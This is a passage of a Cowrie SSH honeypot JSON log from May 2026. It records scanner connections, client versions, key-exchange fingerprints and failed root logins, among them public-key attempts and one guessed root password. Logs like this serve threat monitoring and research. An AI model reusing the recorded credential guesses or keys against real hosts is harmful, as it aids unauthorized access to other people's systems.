a2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:16:14.094034Z","src_ip":"198.235.24.224","session":"6809d819091f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:16:21.202955Z","src_ip":"198.235.24.224","session":"6809d819091f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.85.130","src_port":54280,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c2d035310cc","protocol":"ssh","message":"New connection: 51.81.85.130:54280 (10.17.0.5:22) [session: 8c2d035310cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:16:39.206932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:16:39.211480Z","src_ip":"51.81.85.130","session":"8c2d035310cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:16:39.223808Z","src_ip":"51.81.85.130","session":"8c2d035310cc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:cf:83:4c:53:7a:96:b2:e9:3e:44:e0:34:9c:37:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3gZr9n9k2yv7FJXLZfCx3OaP76TCj0zJgCAMAt/TvPvGhE+BV1EbHIt+TKXmWt0xYbdrlruIlRack0NbLfE5wD8yX1dg4cwA+I5Il/cg0A7ApuC7WdHwdbfZohrqo4JxQZQq+UzXJegRvOs6E+a9Vs9PiLKRww0NDDk4UEO5fmIxo7XpZOSCgNLwBSHugW7pJxZ8VIaBXSPUbbJloPXee7cr+bMmlpR7EyDyfxLAS6GYDRhP4c3tBh8vkkSJBtB+UBfC5oNn7CkWVJ+c8cWj0i4sFByzr/u6oKHkyxJZ9fUtiscSKNy8M8nwyQNlZ7+8sKaWSrVPyF4L8LP/7cfXV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:cf:83:4c:53:7a:96:b2:e9:3e:44:e0:34:9c:37:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:16:39.267250Z","src_ip":"51.81.85.130","session":"8c2d035310cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:cf:83:4c:53:7a:96:b2:e9:3e:44:e0:34:9c:37:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3gZr9n9k2yv7FJXLZfCx3OaP76TCj0zJgCAMAt/TvPvGhE+BV1EbHIt+TKXmWt0xYbdrlruIlRack0NbLfE5wD8yX1dg4cwA+I5Il/cg0A7ApuC7WdHwdbfZohrqo4JxQZQq+UzXJegRvOs6E+a9Vs9PiLKRww0NDDk4UEO5fmIxo7XpZOSCgNLwBSHugW7pJxZ8VIaBXSPUbbJloPXee7cr+bMmlpR7EyDyfxLAS6GYDRhP4c3tBh8vkkSJBtB+UBfC5oNn7CkWVJ+c8cWj0i4sFByzr/u6oKHkyxJZ9fUtiscSKNy8M8nwyQNlZ7+8sKaWSrVPyF4L8LP/7cfXV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:16:39.270772Z","src_ip":"51.81.85.130","session":"8c2d035310cc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:60:6a:d8:b2:ee:08:eb:17:e2:08:1c:ed:96:1d:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxxmlXFI0AKspBnw/FXXCg+wh43+GcWB9F8BGyUgYPQcx41IxfmOcPRWooOrVUZrFveonfrdb6zuTzvO3yd6FReEa0+kCKS2bivBYmllEScccCBD1FZZCVKR79gKi1NKzVUipnBpNpQgWaCeyzpVvl3b6Zpkjtt7GaCqOAq3qYJXacteCr2Q+2V1dXvUifJhXVqlcX6y99txFp03DWoh1mKlyWp77kWeofMW7pQHYM19QpirbkCKeiZjHybTtZ9V1jleQCCDe1XxqmmQ96eiPw4LJew508vhHsOFD3aBfxxIViidN1QmkQcgMD9+T/m2TSYClbohnhfQuVrxlxHVStw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:60:6a:d8:b2:ee:08:eb:17:e2:08:1c:ed:96:1d:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:16:39.290013Z","src_ip":"51.81.85.130","session":"8c2d035310cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:60:6a:d8:b2:ee:08:eb:17:e2:08:1c:ed:96:1d:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxxmlXFI0AKspBnw/FXXCg+wh43+GcWB9F8BGyUgYPQcx41IxfmOcPRWooOrVUZrFveonfrdb6zuTzvO3yd6FReEa0+kCKS2bivBYmllEScccCBD1FZZCVKR79gKi1NKzVUipnBpNpQgWaCeyzpVvl3b6Zpkjtt7GaCqOAq3qYJXacteCr2Q+2V1dXvUifJhXVqlcX6y99txFp03DWoh1mKlyWp77kWeofMW7pQHYM19QpirbkCKeiZjHybTtZ9V1jleQCCDe1XxqmmQ96eiPw4LJew508vhHsOFD3aBfxxIViidN1QmkQcgMD9+T/m2TSYClbohnhfQuVrxlxHVStw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:16:39.293048Z","src_ip":"51.81.85.130","session":"8c2d035310cc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:04:07:77:bb:6a:79:db:b0:12:6b:33:4c:f8:bd:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNiwq3Q68T2HXsIIkDD5NH0PXrWa4DLZw9F/+mTaL3VnTSaPNtpIoDIGjSfeFeXAOyleOZkYyP7gl7LcEB2+caUsXB+PDLm5G3FQU80UFJCK0N+sDcAfYxYqHSXUMHQhqRRmZHCVXdN5c2OVkbpd0iLWTe/UYhe0VtMLBGVOc0EqtHzRzDozYFcBH+o2GZ9yzb4Tg7KHfIbDG8geZjbpokzwFbfitFSFQcS9yxNofiAvPj9oH29kIkSk0ZewmsNSUN9MYjl6JL0neLu1lhPNsTlf8rK1n2iDptTSN1/XfI6KL+ik0Vp+7oynz82cZE5Cqjuu6Hg6KkPtrgw8qQjV7qrvFeonWLuDC2mrrheBR/lSbiNrJ4JqJPfnk+FQW6raTFjb6gHzGnKjs5A3pK4q92yTPcoLNQ64y2vmueWqxeYH4SGxf+4ahRXv9u2O4ThJODEEnL7BC0BrEloHguxTbqHC6syYVhB4Ao9CfQz27BNgV3Hjfpkx7bEPP1s+YgEJHcAecSmqBY7BbVvWG8D2/QmlwXXXReD6QnCJvkI9IRk7GGoQ1bPRlizt8/Cl0LJwu6u91aZ6vJqd6GXXDk53nnXdCBIor/pudEib06B+OoCi5sAvQWS+0uGiWmSJBXPvFDaxWsZySZXOqprtRCS/P4N/Ff/YczSEj9TCvlEVSzSw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:04:07:77:bb:6a:79:db:b0:12:6b:33:4c:f8:bd:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:16:39.306173Z","src_ip":"51.81.85.130","session":"8c2d035310cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:04:07:77:bb:6a:79:db:b0:12:6b:33:4c:f8:bd:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNiwq3Q68T2HXsIIkDD5NH0PXrWa4DLZw9F/+mTaL3VnTSaPNtpIoDIGjSfeFeXAOyleOZkYyP7gl7LcEB2+caUsXB+PDLm5G3FQU80UFJCK0N+sDcAfYxYqHSXUMHQhqRRmZHCVXdN5c2OVkbpd0iLWTe/UYhe0VtMLBGVOc0EqtHzRzDozYFcBH+o2GZ9yzb4Tg7KHfIbDG8geZjbpokzwFbfitFSFQcS9yxNofiAvPj9oH29kIkSk0ZewmsNSUN9MYjl6JL0neLu1lhPNsTlf8rK1n2iDptTSN1/XfI6KL+ik0Vp+7oynz82cZE5Cqjuu6Hg6KkPtrgw8qQjV7qrvFeonWLuDC2mrrheBR/lSbiNrJ4JqJPfnk+FQW6raTFjb6gHzGnKjs5A3pK4q92yTPcoLNQ64y2vmueWqxeYH4SGxf+4ahRXv9u2O4ThJODEEnL7BC0BrEloHguxTbqHC6syYVhB4Ao9CfQz27BNgV3Hjfpkx7bEPP1s+YgEJHcAecSmqBY7BbVvWG8D2/QmlwXXXReD6QnCJvkI9IRk7GGoQ1bPRlizt8/Cl0LJwu6u91aZ6vJqd6GXXDk53nnXdCBIor/pudEib06B+OoCi5sAvQWS+0uGiWmSJBXPvFDaxWsZySZXOqprtRCS/P4N/Ff/YczSEj9TCvlEVSzSw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:16:39.309929Z","src_ip":"51.81.85.130","session":"8c2d035310cc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:d0:85:6c:15:38:38:cf:39:04:ca:8a:86:45:74:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd+C6KsbohPOo5qHqxvQN7tAbIiRB0Al0OYWmPUuKEznc2SOb6COJjSM8fsbtzxUDPkDFjA5MHYG5sglFKXzdTv+nyhResIvc4L7q9g/gftTAjgN0fm7PS0zjoAgCWbJiOWJhG4ojs2O+EYhPtGRsAqfP5ucPhHJVKtzuI9KRpf48quH4TvyRntzwccR5004FF5v/cs1XhF1sFrATxS4tedg5e0i8EcItHD//qoV9IUyqcKpF1QR2qLtHTy5SjdA+KuE3DzzdJqFtNfDoclrL+Cp7/DaFn+aXHFcT313tnjpDEY03NBAKwUU5vkgtLb9VYEb6fwvM/mE1jnJ62rAn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:d0:85:6c:15:38:38:cf:39:04:ca:8a:86:45:74:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:16:39.323336Z","src_ip":"51.81.85.130","session":"8c2d035310cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:d0:85:6c:15:38:38:cf:39:04:ca:8a:86:45:74:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd+C6KsbohPOo5qHqxvQN7tAbIiRB0Al0OYWmPUuKEznc2SOb6COJjSM8fsbtzxUDPkDFjA5MHYG5sglFKXzdTv+nyhResIvc4L7q9g/gftTAjgN0fm7PS0zjoAgCWbJiOWJhG4ojs2O+EYhPtGRsAqfP5ucPhHJVKtzuI9KRpf48quH4TvyRntzwccR5004FF5v/cs1XhF1sFrATxS4tedg5e0i8EcItHD//qoV9IUyqcKpF1QR2qLtHTy5SjdA+KuE3DzzdJqFtNfDoclrL+Cp7/DaFn+aXHFcT313tnjpDEY03NBAKwUU5vkgtLb9VYEb6fwvM/mE1jnJ62rAn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:16:39.327219Z","src_ip":"51.81.85.130","session":"8c2d035310cc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:71:cb:04:3e:da:ad:cd:bc:c9:99:47:12:3d:da:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCKJJVrpozz9CoZue4X655fSGgFagvJwHnBYG3buZqmCvelMhr6fWqK0MNsCP6TbfiOLvZCP1i83cp1qLO5IW7whqeOxv8lRgDkbM4GUSO4/YxGV9zFo8561ibGZqAEuFQn/sJl/f73Wy+Gf5xtCZxkzZFl8vOUQ8YXuUV7Mz5wqSASYU4m3r3Onx3hmq4pTPLRsLhDx2Sepk4yTl/8PO2VmRoqt2jQzyMFJoX7xfJSkCvJyUuOdHPnE5WebW2PU3ygxb+wr2RF6OilXKgidpLU37jDA2y6GOcNirvfE+hq67xPhMYJsNK6vyhRhIg3ikRVZMxWZJOmB1+fouy21Zl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:71:cb:04:3e:da:ad:cd:bc:c9:99:47:12:3d:da:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:16:39.339876Z","src_ip":"51.81.85.130","session":"8c2d035310cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:71:cb:04:3e:da:ad:cd:bc:c9:99:47:12:3d:da:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCKJJVrpozz9CoZue4X655fSGgFagvJwHnBYG3buZqmCvelMhr6fWqK0MNsCP6TbfiOLvZCP1i83cp1qLO5IW7whqeOxv8lRgDkbM4GUSO4/YxGV9zFo8561ibGZqAEuFQn/sJl/f73Wy+Gf5xtCZxkzZFl8vOUQ8YXuUV7Mz5wqSASYU4m3r3Onx3hmq4pTPLRsLhDx2Sepk4yTl/8PO2VmRoqt2jQzyMFJoX7xfJSkCvJyUuOdHPnE5WebW2PU3ygxb+wr2RF6OilXKgidpLU37jDA2y6GOcNirvfE+hq67xPhMYJsNK6vyhRhIg3ikRVZMxWZJOmB1+fouy21Zl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:16:39.345399Z","src_ip":"51.81.85.130","session":"8c2d035310cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:16:39.362275Z","src_ip":"51.81.85.130","session":"8c2d035310cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.177.179.80","src_port":54618,"dst_ip":"159.203.135.109","dst_port":22,"session":"192db3525769","protocol":"ssh","message":"New connection: 213.177.179.80:54618 (159.203.135.109:22) [session: 192db3525769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:17:17.658123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:17:17.687665Z","src_ip":"213.177.179.80","session":"192db3525769","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:17:17.787579Z","src_ip":"213.177.179.80","session":"192db3525769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:17:27.687113Z","src_ip":"213.177.179.80","session":"192db3525769","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":59200,"dst_ip":"10.17.0.5","dst_port":22,"session":"620260bfb96a","protocol":"ssh","message":"New connection: 103.15.226.202:59200 (10.17.0.5:22) [session: 620260bfb96a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:18:47.495406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:18:47.500118Z","src_ip":"103.15.226.202","session":"620260bfb96a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:18:47.743298Z","src_ip":"103.15.226.202","session":"620260bfb96a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5201314a","message":"login attempt [root/5201314a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:18:48.473417Z","src_ip":"103.15.226.202","session":"620260bfb96a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:18:49.719996Z","src_ip":"103.15.226.202","session":"620260bfb96a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":55966,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e8b692c1670","protocol":"ssh","message":"New connection: 194.59.206.2:55966 (159.203.135.109:22) [session: 5e8b692c1670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:22:16.789314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:22:16.798541Z","src_ip":"194.59.206.2","session":"5e8b692c1670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:22:16.884254Z","src_ip":"194.59.206.2","session":"5e8b692c1670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:22:17.060477Z","src_ip":"194.59.206.2","session":"5e8b692c1670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":49894,"dst_ip":"10.17.0.5","dst_port":22,"session":"439f8db1dc52","protocol":"ssh","message":"New connection: 103.15.226.202:49894 (10.17.0.5:22) [session: 439f8db1dc52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:22:21.547998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:22:21.552382Z","src_ip":"103.15.226.202","session":"439f8db1dc52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com",